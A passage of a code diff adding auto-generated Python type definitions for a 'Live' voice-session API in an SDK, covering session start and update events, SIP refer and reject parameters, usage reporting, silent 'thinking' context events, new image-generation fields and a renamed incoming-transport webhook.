@@ -0,0 +1,15 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Required, TypedDict
+
+__all__ = ["SessionReferParams"]
+
+
+class SessionReferParams(TypedDict, total=False):
+ target_uri: Required[str]
+ """
+ Nonblank URI for the SIP Refer-To header, such as tel:+14155550123 or
+ sip:agent@example.com.
+ """
diff --git a/src/openai/types/live/session_reject_params.py b/src/openai/types/live/session_reject_params.py
new file mode 100644
index 0000000000..90ab4e8941
--- /dev/null
+++ b/src/openai/types/live/session_reject_params.py
@@ -0,0 +1,12 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Required, TypedDict
+
+__all__ = ["SessionRejectParams"]
+
+
+class SessionRejectParams(TypedDict, total=False):
+ status_code: Required[int]
+ """SIP rejection status sent to the caller. This field is required."""
diff --git a/src/openai/types/live/session_resource.py b/src/openai/types/live/session_resource.py
new file mode 100644
index 0000000000..e2937f07fe
--- /dev/null
+++ b/src/openai/types/live/session_resource.py
@@ -0,0 +1,136 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .audio_format import AudioFormat
+from .custom_voice import CustomVoice
+from .initial_item import InitialItem
+from .client_config import ClientConfig
+from .built_in_voice import BuiltInVoice
+from .client_delegation import ClientDelegation
+from .responses_delegation_config import ResponsesDelegationConfig
+
+__all__ = ["SessionResource", "Audio", "AudioOutput", "AudioOutputVoice", "Delegation", "DelegationResponses"]
+
+AudioOutputVoice: TypeAlias = Union[str, BuiltInVoice, CustomVoice]
+
+
+class AudioOutput(BaseModel):
+ """The voice used for speech generated by the Live model."""
+
+ voice: Optional[AudioOutputVoice] = None
+ """
+ The voice used for Live speech, as a built-in voice name or a custom voice
+ object containing its ID. Defaults to `marin` and cannot change after startup.
+ """
+
+
+class Audio(BaseModel):
+ """Startup audio configuration.
+
+ Only primary WebSockets accept audio.format; WebRTC and SIP negotiate their media format. Voice and format are immutable after startup.
+ """
+
+ format: Optional[AudioFormat] = None
+ """
+ Audio encoding and sample rate for audio sent and received over a Live WebSocket
+ connection. WebRTC and SIP negotiate their media format separately.
+ """
+
+ output: Optional[AudioOutput] = None
+ """The voice used for speech generated by the Live model."""
+
+
+class DelegationResponses(BaseModel):
+ """Delegate tasks to a Responses model managed by the Live session."""
+
+ responses: ResponsesDelegationConfig
+ """
+ Backend model, prompt, and tools used when the Live session delegates a task to
+ Responses.
+ """
+
+ type: Literal["responses"]
+ """The delegation owner.
+
+ Always `responses` for tasks handled by the Responses API.
+ """
+
+
+Delegation: TypeAlias = Annotated[
+ Union[ClientDelegation, DelegationResponses, None], PropertyInfo(discriminator="type")
+]
+
+
+class SessionResource(BaseModel):
+ """The resolved Live session configuration and server-assigned session metadata."""
+
+ id: str
+ """The unique ID of the Live session.
+
+ Use this ID for sideband connections, forking, and recording download.
+ """
+
+ expires_at: int
+ """The Unix timestamp, in seconds, at which the Live session expires."""
+
+ model: Union[str, Literal["gpt-live-1"]]
+ """The Live model.
+
+ Required in the session configuration for every transport; do not pass it as a
+ URL query parameter.
+ """
+
+ status: Literal["active"]
+ """The status of the session snapshot.
+
+ Always `active`, including the final snapshot in session.closed; use the event
+ type to determine that the session has closed.
+ """
+
+ audio: Optional[Audio] = None
+ """Startup audio configuration.
+
+ Only primary WebSockets accept audio.format; WebRTC and SIP negotiate their
+ media format. Voice and format are immutable after startup.
+ """
+
+ client: Optional[ClientConfig] = None
+ """
+ Startup-only capabilities for an untrusted frontend attached to a unified WebRTC
+ session. Trusted sideband connections are unaffected.
+ """
+
+ delegation: Optional[Delegation] = None
+ """Who handles tasks delegated by the Live model.
+
+ Omitted or null selects your application; use `responses` to let the API manage
+ a Responses backend.
+ """
+
+ input: Optional[List[InitialItem]] = None
+ """Ordered text-only history supplied before startup.
+
+ Supports developer, user, and assistant messages with one text part each; at
+ most 128 messages and 8,192 rendered tokens in total.
+ """
+
+ instructions: Optional[str] = None
+ """
+ Frontend instructions for voice, conversation, interruptions, and when to
+ delegate. Start with the
+ [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting);
+ put business rules and tool workflows in a separate
+ [backend prompt](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt).
+ Limited to 16,384 client-supplied tokens. Omitted or blank instructions use
+ server defaults. Immutable after startup.
+ """
+
+ store: Optional[bool] = None
+ """Whether to store the session for later forking and recording download.
+
+ Defaults to false for new sessions.
+ """
diff --git a/src/openai/types/live/session_start_event.py b/src/openai/types/live/session_start_event.py
new file mode 100644
index 0000000000..1911d44610
--- /dev/null
+++ b/src/openai/types/live/session_start_event.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .session_config import SessionConfig
+
+__all__ = ["SessionStartEvent"]
+
+
+class SessionStartEvent(BaseModel):
+ """Start a Live session on a primary WebSocket.
+
+ Send this event before other commands and wait for `session.started`.
+ """
+
+ session: SessionConfig
+ """Initial configuration for a primary WebSocket.
+
+ Send session.start first and wait for session.started before application
+ commands. WebRTC creation already starts the session; do not send this event
+ again on its data channel.
+ """
+
+ type: Literal["session.start"]
+ """The Live client event type. Always `session.start`."""
+
+ event_id: Optional[str] = None
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/session_start_event_param.py b/src/openai/types/live/session_start_event_param.py
new file mode 100644
index 0000000000..0cae1860b0
--- /dev/null
+++ b/src/openai/types/live/session_start_event_param.py
@@ -0,0 +1,34 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, Required, TypedDict
+
+from .session_config_param import SessionConfigParam
+
+__all__ = ["SessionStartEventParam"]
+
+
+class SessionStartEventParam(TypedDict, total=False):
+ """Start a Live session on a primary WebSocket.
+
+ Send this event before other commands and wait for `session.started`.
+ """
+
+ session: Required[SessionConfigParam]
+ """Initial configuration for a primary WebSocket.
+
+ Send session.start first and wait for session.started before application
+ commands. WebRTC creation already starts the session; do not send this event
+ again on its data channel.
+ """
+
+ type: Required[Literal["session.start"]]
+ """The Live client event type. Always `session.start`."""
+
+ event_id: Optional[str]
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/session_started_event.py b/src/openai/types/live/session_started_event.py
new file mode 100644
index 0000000000..5f090ca3a1
--- /dev/null
+++ b/src/openai/types/live/session_started_event.py
@@ -0,0 +1,31 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .session_resource import SessionResource
+
+__all__ = ["SessionStartedEvent"]
+
+
+class SessionStartedEvent(BaseModel):
+ """Returned when a Live session has started.
+
+ Contains the resolved session configuration, including server defaults.
+ """
+
+ event_id: str
+ """The unique ID of the Live server event."""
+
+ session: SessionResource
+ """The resolved Live session configuration and server-assigned session metadata."""
+
+ type: Literal["session.started"]
+ """The event type, always `session.started`."""
+
+ client_event_id: Optional[str] = None
+ """
+ The event_id of the client command associated with this server event, when
+ supplied.
+ """
diff --git a/src/openai/types/live/session_update_config.py b/src/openai/types/live/session_update_config.py
new file mode 100644
index 0000000000..788bcc4945
--- /dev/null
+++ b/src/openai/types/live/session_update_config.py
@@ -0,0 +1,48 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .client_delegation import ClientDelegation
+from .responses_delegation_update_config import ResponsesDelegationUpdateConfig
+
+__all__ = ["SessionUpdateConfig", "Delegation", "DelegationResponses"]
+
+
+class DelegationResponses(BaseModel):
+ """
+ Update the Responses backend for an existing Live session without changing delegation ownership.
+ """
+
+ type: Literal["responses"]
+ """The delegation owner.
+
+ Always `responses` for tasks handled by the Responses API.
+ """
+
+ responses: Optional[ResponsesDelegationUpdateConfig] = None
+ """Responses backend settings to update.
+
+ Omitted settings keep their existing values.
+ """
+
+
+Delegation: TypeAlias = Annotated[
+ Union[ClientDelegation, DelegationResponses, None], PropertyInfo(discriminator="type")
+]
+
+
+class SessionUpdateConfig(BaseModel):
+ """Changes to an active Live session.
+
+ Only delegation backend settings can be updated after startup.
+ """
+
+ delegation: Optional[Delegation] = None
+ """Delegation settings to update.
+
+ The delegation type must match the current session; omitted settings retain
+ their values.
+ """
diff --git a/src/openai/types/live/session_update_config_param.py b/src/openai/types/live/session_update_config_param.py
new file mode 100644
index 0000000000..575cc60228
--- /dev/null
+++ b/src/openai/types/live/session_update_config_param.py
@@ -0,0 +1,46 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from .client_delegation_param import ClientDelegationParam
+from .responses_delegation_update_config_param import ResponsesDelegationUpdateConfigParam
+
+__all__ = ["SessionUpdateConfigParam", "Delegation", "DelegationResponses"]
+
+
+class DelegationResponses(TypedDict, total=False):
+ """
+ Update the Responses backend for an existing Live session without changing delegation ownership.
+ """
+
+ type: Required[Literal["responses"]]
+ """The delegation owner.
+
+ Always `responses` for tasks handled by the Responses API.
+ """
+
+ responses: ResponsesDelegationUpdateConfigParam
+ """Responses backend settings to update.
+
+ Omitted settings keep their existing values.
+ """
+
+
+Delegation: TypeAlias = Union[ClientDelegationParam, DelegationResponses]
+
+
+class SessionUpdateConfigParam(TypedDict, total=False):
+ """Changes to an active Live session.
+
+ Only delegation backend settings can be updated after startup.
+ """
+
+ delegation: Optional[Delegation]
+ """Delegation settings to update.
+
+ The delegation type must match the current session; omitted settings retain
+ their values.
+ """
diff --git a/src/openai/types/live/session_update_event.py b/src/openai/types/live/session_update_event.py
new file mode 100644
index 0000000000..9fee82a1d1
--- /dev/null
+++ b/src/openai/types/live/session_update_event.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .session_update_config import SessionUpdateConfig
+
+__all__ = ["SessionUpdateEvent"]
+
+
+class SessionUpdateEvent(BaseModel):
+ """Update the delegation settings of an active Live session.
+
+ The server acknowledges accepted changes with `session.updated`.
+ """
+
+ session: SessionUpdateConfig
+ """Sparse delegation updates.
+
+ Omitted settings retain their values. The delegation type cannot change,
+ including resetting Responses delegation to null or client. Model, frontend
+ instructions, audio, and startup input are immutable.
+ """
+
+ type: Literal["session.update"]
+ """The Live client event type. Always `session.update`."""
+
+ event_id: Optional[str] = None
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/session_update_event_param.py b/src/openai/types/live/session_update_event_param.py
new file mode 100644
index 0000000000..d72c97037e
--- /dev/null
+++ b/src/openai/types/live/session_update_event_param.py
@@ -0,0 +1,34 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, Required, TypedDict
+
+from .session_update_config_param import SessionUpdateConfigParam
+
+__all__ = ["SessionUpdateEventParam"]
+
+
+class SessionUpdateEventParam(TypedDict, total=False):
+ """Update the delegation settings of an active Live session.
+
+ The server acknowledges accepted changes with `session.updated`.
+ """
+
+ session: Required[SessionUpdateConfigParam]
+ """Sparse delegation updates.
+
+ Omitted settings retain their values. The delegation type cannot change,
+ including resetting Responses delegation to null or client. Model, frontend
+ instructions, audio, and startup input are immutable.
+ """
+
+ type: Required[Literal["session.update"]]
+ """The Live client event type. Always `session.update`."""
+
+ event_id: Optional[str]
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/session_updated_event.py b/src/openai/types/live/session_updated_event.py
new file mode 100644
index 0000000000..b408d29c2b
--- /dev/null
+++ b/src/openai/types/live/session_updated_event.py
@@ -0,0 +1,31 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .session_resource import SessionResource
+
+__all__ = ["SessionUpdatedEvent"]
+
+
+class SessionUpdatedEvent(BaseModel):
+ """Returned when a Live session update is accepted.
+
+ Contains the resolved session configuration after the update.
+ """
+
+ event_id: str
+ """The unique ID of the Live server event."""
+
+ session: SessionResource
+ """The resolved Live session configuration and server-assigned session metadata."""
+
+ type: Literal["session.updated"]
+ """The event type, always `session.updated`."""
+
+ client_event_id: Optional[str] = None
+ """
+ The event_id of the client command associated with this server event, when
+ supplied.
+ """
diff --git a/src/openai/types/live/session_usage.py b/src/openai/types/live/session_usage.py
new file mode 100644
index 0000000000..bd6e1d3cd7
--- /dev/null
+++ b/src/openai/types/live/session_usage.py
@@ -0,0 +1,18 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from ..._models import BaseModel
+
+__all__ = ["SessionUsage"]
+
+
+class SessionUsage(BaseModel):
+ """Cumulative audio duration for a Live session.
+
+ Values are totals for the session, not increments to sum across usage events.
+ """
+
+ seconds: float
+ """The cumulative Live audio duration in seconds.
+
+ Do not sum this value across usage events.
+ """
diff --git a/src/openai/types/live/session_usage_updated_event.py b/src/openai/types/live/session_usage_updated_event.py
new file mode 100644
index 0000000000..abae9ffe3b
--- /dev/null
+++ b/src/openai/types/live/session_usage_updated_event.py
@@ -0,0 +1,49 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .session_usage import SessionUsage
+
+__all__ = ["SessionUsageUpdatedEvent", "ContextWindow"]
+
+
+class ContextWindow(BaseModel):
+ """The latest measured Live context-window usage.
+
+ Omitted when the context limit is unknown.
+ """
+
+ usage_ratio: float
+ """The latest active context token count divided by the Live model context limit.
+
+ Can decrease after compaction and may lag between measured audio frames.
+ """
+
+
+class SessionUsageUpdatedEvent(BaseModel):
+ """
+ Reports cumulative Live audio usage and, when available, the most recent context-window usage. Delegated Responses token usage is reported separately in response.event events.
+ """
+
+ event_id: str
+ """The unique ID of the Live server event."""
+
+ type: Literal["session.usage.updated"]
+ """The event type, always `session.usage.updated`."""
+
+ usage: SessionUsage
+ """The cumulative Live audio usage so far."""
+
+ client_event_id: Optional[str] = None
+ """
+ The event_id of the client command associated with this server event, when
+ supplied.
+ """
+
+ context_window: Optional[ContextWindow] = None
+ """The latest measured Live context-window usage.
+
+ Omitted when the context limit is unknown.
+ """
diff --git a/src/openai/types/live/sideband_connect_params.py b/src/openai/types/live/sideband_connect_params.py
new file mode 100644
index 0000000000..9f5a314242
--- /dev/null
+++ b/src/openai/types/live/sideband_connect_params.py
@@ -0,0 +1,15 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import TypedDict
+
+__all__ = ["SidebandConnectParams"]
+
+
+class SidebandConnectParams(TypedDict, total=False):
+ graceful_close: bool
+ """Opt in to the graceful WebSocket closing handshake when the session ends.
+
+ The server may also enable this behavior by default.
+ """
diff --git a/src/openai/types/live/thinking_append_event.py b/src/openai/types/live/thinking_append_event.py
new file mode 100644
index 0000000000..3caf259c70
--- /dev/null
+++ b/src/openai/types/live/thinking_append_event.py
@@ -0,0 +1,38 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["ThinkingAppendEvent"]
+
+
+class ThinkingAppendEvent(BaseModel):
+ """
+ Provide silent reasoning or progress context to the Live model, optionally for an existing client delegation.
+ """
+
+ content: str
+ """Silent reasoning or progress context, limited to 500 tokens.
+
+ It does not directly request speech, but can influence later speech and is not a
+ secrecy boundary.
+ """
+
+ delegation_id: Optional[str] = None
+ """Required, nullable.
+
+ Set null for general session context, or use the ID from
+ session.delegation.created for an existing client delegation. Non-null IDs are
+ not accepted with Responses delegation.
+ """
+
+ type: Literal["session.thinking.append"]
+ """The Live client event type. Always `session.thinking.append`."""
+
+ event_id: Optional[str] = None
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/thinking_append_event_param.py b/src/openai/types/live/thinking_append_event_param.py
new file mode 100644
index 0000000000..ca94550c62
--- /dev/null
+++ b/src/openai/types/live/thinking_append_event_param.py
@@ -0,0 +1,38 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["ThinkingAppendEventParam"]
+
+
+class ThinkingAppendEventParam(TypedDict, total=False):
+ """
+ Provide silent reasoning or progress context to the Live model, optionally for an existing client delegation.
+ """
+
+ content: Required[str]
+ """Silent reasoning or progress context, limited to 500 tokens.
+
+ It does not directly request speech, but can influence later speech and is not a
+ secrecy boundary.
+ """
+
+ delegation_id: Required[Optional[str]]
+ """Required, nullable.
+
+ Set null for general session context, or use the ID from
+ session.delegation.created for an existing client delegation. Non-null IDs are
+ not accepted with Responses delegation.
+ """
+
+ type: Required[Literal["session.thinking.append"]]
+ """The Live client event type. Always `session.thinking.append`."""
+
+ event_id: Optional[str]
+ """
+ Optional client identifier for correlating this command with a server event's
+ client_event_id or error.client_event_id.
+ """
diff --git a/src/openai/types/live/thinking_appended_event.py b/src/openai/types/live/thinking_appended_event.py
new file mode 100644
index 0000000000..14f19e5e3a
--- /dev/null
+++ b/src/openai/types/live/thinking_appended_event.py
@@ -0,0 +1,38 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["ThinkingAppendedEvent"]
+
+
+class ThinkingAppendedEvent(BaseModel):
+ """
+ Returned when a session.thinking.append command is accepted into the Live session timeline. Acknowledges the added reasoning context without guaranteeing any spoken output.
+ """
+
+ end_ms: int
+ """
+ The end of this event on the Live session timeline, in milliseconds from the
+ beginning of the session. For appended context, this can equal start_ms.
+ """
+
+ event_id: str
+ """The unique ID of the Live server event."""
+
+ start_ms: int
+ """
+ The start of this event on the Live session timeline, in milliseconds from the
+ beginning of the session.
+ """
+
+ type: Literal["session.thinking.appended"]
+ """The event type, always `session.thinking.appended`."""
+
+ client_event_id: Optional[str] = None
+ """
+ The event_id of the client command associated with this server event, when
+ supplied.
+ """
diff --git a/src/openai/types/responses/response_input_item.py b/src/openai/types/responses/response_input_item.py
index ddb4d3b8a0..e34682291d 100644
--- a/src/openai/types/responses/response_input_item.py
+++ b/src/openai/types/responses/response_input_item.py
@@ -247,12 +247,24 @@ class ImageGenerationCall(BaseModel):
type: Literal["image_generation_call"]
"""The type of the image generation call. Always `image_generation_call`."""
+ action: Optional[Literal["generate", "edit", "auto"]] = None
+ """The action used for image generation."""
+
+ background: Optional[Literal["transparent", "opaque", "auto"]] = None
+ """The background setting used for generation."""
+
+ output_format: Optional[Literal["png", "webp", "jpeg"]] = None
+ """The output format used for generation."""
+
quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
"""The quality of the image generated by the image generation tool call.
One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
"""
+ revised_prompt: Optional[str] = None
+ """The prompt that was used after any model prompt rewriting."""
+
size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None] = None
"""The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
diff --git a/src/openai/types/responses/response_input_item_param.py b/src/openai/types/responses/response_input_item_param.py
index 47df7af7f2..f490ad3700 100644
--- a/src/openai/types/responses/response_input_item_param.py
+++ b/src/openai/types/responses/response_input_item_param.py
@@ -246,12 +246,24 @@ class ImageGenerationCall(TypedDict, total=False):
type: Required[Literal["image_generation_call"]]
"""The type of the image generation call. Always `image_generation_call`."""
+ action: Optional[Literal["generate", "edit", "auto"]]
+ """The action used for image generation."""
+
+ background: Optional[Literal["transparent", "opaque", "auto"]]
+ """The background setting used for generation."""
+
+ output_format: Optional[Literal["png", "webp", "jpeg"]]
+ """The output format used for generation."""
+
quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]]
"""The quality of the image generated by the image generation tool call.
One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
"""
+ revised_prompt: Optional[str]
+ """The prompt that was used after any model prompt rewriting."""
+
size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None]
"""The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
diff --git a/src/openai/types/responses/response_input_param.py b/src/openai/types/responses/response_input_param.py
index 3aceb2c556..776f1dfafd 100644
--- a/src/openai/types/responses/response_input_param.py
+++ b/src/openai/types/responses/response_input_param.py
@@ -247,12 +247,24 @@ class ImageGenerationCall(TypedDict, total=False):
type: Required[Literal["image_generation_call"]]
"""The type of the image generation call. Always `image_generation_call`."""
+ action: Optional[Literal["generate", "edit", "auto"]]
+ """The action used for image generation."""
+
+ background: Optional[Literal["transparent", "opaque", "auto"]]
+ """The background setting used for generation."""
+
+ output_format: Optional[Literal["png", "webp", "jpeg"]]
+ """The output format used for generation."""
+
quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]]
"""The quality of the image generated by the image generation tool call.
One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
"""
+ revised_prompt: Optional[str]
+ """The prompt that was used after any model prompt rewriting."""
+
size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None]
"""The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
diff --git a/src/openai/types/responses/response_item.py b/src/openai/types/responses/response_item.py
index df5bfc9885..4b14d4dbf0 100644
--- a/src/openai/types/responses/response_item.py
+++ b/src/openai/types/responses/response_item.py
@@ -108,12 +108,24 @@ class ImageGenerationCall(BaseModel):
type: Literal["image_generation_call"]
"""The type of the image generation call. Always `image_generation_call`."""
+ action: Optional[Literal["generate", "edit", "auto"]] = None
+ """The action used for image generation."""
+
+ background: Optional[Literal["transparent", "opaque", "auto"]] = None
+ """The background setting used for generation."""
+
+ output_format: Optional[Literal["png", "webp", "jpeg"]] = None
+ """The output format used for generation."""
+
quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
"""The quality of the image generated by the image generation tool call.
One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
"""
+ revised_prompt: Optional[str] = None
+ """The prompt that was used after any model prompt rewriting."""
+
size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None] = None
"""The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
diff --git a/src/openai/types/responses/response_output_item.py b/src/openai/types/responses/response_output_item.py
index 402636062a..9492c2aa42 100644
--- a/src/openai/types/responses/response_output_item.py
+++ b/src/openai/types/responses/response_output_item.py
@@ -106,12 +106,24 @@ class ImageGenerationCall(BaseModel):
type: Literal["image_generation_call"]
"""The type of the image generation call. Always `image_generation_call`."""
+ action: Optional[Literal["generate", "edit", "auto"]] = None
+ """The action used for image generation."""
+
+ background: Optional[Literal["transparent", "opaque", "auto"]] = None
+ """The background setting used for generation."""
+
+ output_format: Optional[Literal["png", "webp", "jpeg"]] = None
+ """The output format used for generation."""
+
quality: Optional[Literal["low", "medium", "high", "xhigh", "max", "auto"]] = None
"""The quality of the image generated by the image generation tool call.
One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
"""
+ revised_prompt: Optional[str] = None
+ """The prompt that was used after any model prompt rewriting."""
+
size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024"], None] = None
"""The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`."""
diff --git a/src/openai/types/webhooks/__init__.py b/src/openai/types/webhooks/__init__.py
index 015621e8d4..56645462d6 100644
--- a/src/openai/types/webhooks/__init__.py
+++ b/src/openai/types/webhooks/__init__.py
@@ -11,13 +11,18 @@
from .response_failed_webhook_event import ResponseFailedWebhookEvent as ResponseFailedWebhookEvent
from .eval_run_canceled_webhook_event import EvalRunCanceledWebhookEvent as EvalRunCanceledWebhookEvent
from .eval_run_succeeded_webhook_event import EvalRunSucceededWebhookEvent as EvalRunSucceededWebhookEvent
-from .live_call_incoming_webhook_event import LiveCallIncomingWebhookEvent as LiveCallIncomingWebhookEvent
+from .live_call_incoming_webhook_event import (
+ LiveCallIncomingWebhookEvent as LiveCallIncomingWebhookEvent, # pyright: ignore[reportDeprecated]
+)
from .response_cancelled_webhook_event import ResponseCancelledWebhookEvent as ResponseCancelledWebhookEvent
from .response_completed_webhook_event import ResponseCompletedWebhookEvent as ResponseCompletedWebhookEvent
from .response_incomplete_webhook_event import ResponseIncompleteWebhookEvent as ResponseIncompleteWebhookEvent
from .safety_alert_created_webhook_event import SafetyAlertCreatedWebhookEvent as SafetyAlertCreatedWebhookEvent
from .fine_tuning_job_failed_webhook_event import FineTuningJobFailedWebhookEvent as FineTuningJobFailedWebhookEvent
from .realtime_call_incoming_webhook_event import RealtimeCallIncomingWebhookEvent as RealtimeCallIncomingWebhookEvent
+from .live_transport_incoming_webhook_event import (
+ LiveTransportIncomingWebhookEvent as LiveTransportIncomingWebhookEvent,
+)
from .safety_org_alert_created_webhook_event import (
SafetyOrgAlertCreatedWebhookEvent as SafetyOrgAlertCreatedWebhookEvent,
)
diff --git a/src/openai/types/webhooks/live_call_incoming_webhook_event.py b/src/openai/types/webhooks/live_call_incoming_webhook_event.py
index 1fac6dfd69..98bbc226fb 100644
--- a/src/openai/types/webhooks/live_call_incoming_webhook_event.py
+++ b/src/openai/types/webhooks/live_call_incoming_webhook_event.py
@@ -1,7 +1,7 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
-from typing_extensions import Literal
+from typing_extensions import Literal, deprecated
from ..._models import BaseModel
@@ -24,8 +24,8 @@ class Data(BaseModel):
session_id: str
"""The `live_...` ID of the pending SIP session.
- Forward this value unchanged when accepting or rejecting the call through the
- Live API.
+ Pass this value unchanged to Live call controls and sideband connections. The
+ corresponding `realtime.call.incoming` event uses a separate `rtc_...` call ID.
"""
sip_headers: List[DataSipHeader]
@@ -36,10 +36,13 @@ class Data(BaseModel):
"""
+@deprecated("Use LiveTransportIncomingWebhookEvent (live.transport.incoming) instead.", category=None)
class LiveCallIncomingWebhookEvent(BaseModel):
- """Sent when an incoming API SIP session is available for Live acceptance.
+ """Deprecated: use `live.transport.incoming`.
- The
+ Retained for existing subscriptions
+ during migration; new subscriptions to this event are not allowed.
+ Sent when an incoming API SIP session is available for Live acceptance. The
same pending session can also emit `realtime.call.incoming`; the first
successful Realtime or Live accept endpoint selects the runtime surface.
"""
diff --git a/src/openai/types/webhooks/live_transport_incoming_webhook_event.py b/src/openai/types/webhooks/live_transport_incoming_webhook_event.py
new file mode 100644
index 0000000000..b95c57e1b8
--- /dev/null
+++ b/src/openai/types/webhooks/live_transport_incoming_webhook_event.py
@@ -0,0 +1,63 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["LiveTransportIncomingWebhookEvent", "Data", "DataSipHeader"]
+
+
+class DataSipHeader(BaseModel):
+ """A header from the SIP Invite."""
+
+ name: str
+ """Name of the SIP Header."""
+
+ value: str
+ """Value of the SIP Header."""
+
+
+class Data(BaseModel):
+ """Event data payload."""
+
+ session_id: str
+ """The `live_...` ID of the pending SIP session.
+
+ Forward this value unchanged when accepting or rejecting the call through the
+ Live API.
+ """
+
+ sip_headers: List[DataSipHeader]
+ """
+ Headers from the SIP INVITE, excluding SIP authorization headers. Retained
+ names, values, repeated entries, and order are preserved. Treat these values as
+ untrusted call metadata.
+ """
+
+ type: Literal["sip"]
+ """The incoming transport type. Always `sip`."""
+
+
+class LiveTransportIncomingWebhookEvent(BaseModel):
+ """Sent when an incoming API SIP session is available for Live acceptance.
+
+ The
+ same pending session can also emit `realtime.call.incoming`; the first
+ successful Realtime or Live accept endpoint selects the runtime surface.
+ """
+
+ id: str
+ """The unique ID of the event."""
+
+ created_at: int
+ """The Unix timestamp (in seconds) of when the event was created."""
+
+ data: Data
+ """Event data payload."""
+
+ type: Literal["live.transport.incoming"]
+ """The type of the event. Always `live.transport.incoming`."""
+
+ object: Optional[Literal["event"]] = None
+ """The object of the event. Always `event`."""
diff --git a/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py b/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
index 6b3526674f..54d69cb4db 100644
--- a/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
+++ b/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
@@ -24,8 +24,8 @@ class Data(BaseModel):
call_id: str
"""The Transceiver `rtc_...` ID of the pending SIP session.
- The paired `live.call.incoming` event derives its `session_id` by replacing the
- `rtc_` prefix with `live_`. Use the ID returned by the event with the
+ The paired `live.transport.incoming` event derives its `session_id` by replacing
+ the `rtc_` prefix with `live_`. Use the ID returned by the event with the
corresponding Realtime or Live API.
"""
@@ -40,7 +40,7 @@ class Data(BaseModel):
class RealtimeCallIncomingWebhookEvent(BaseModel):
"""
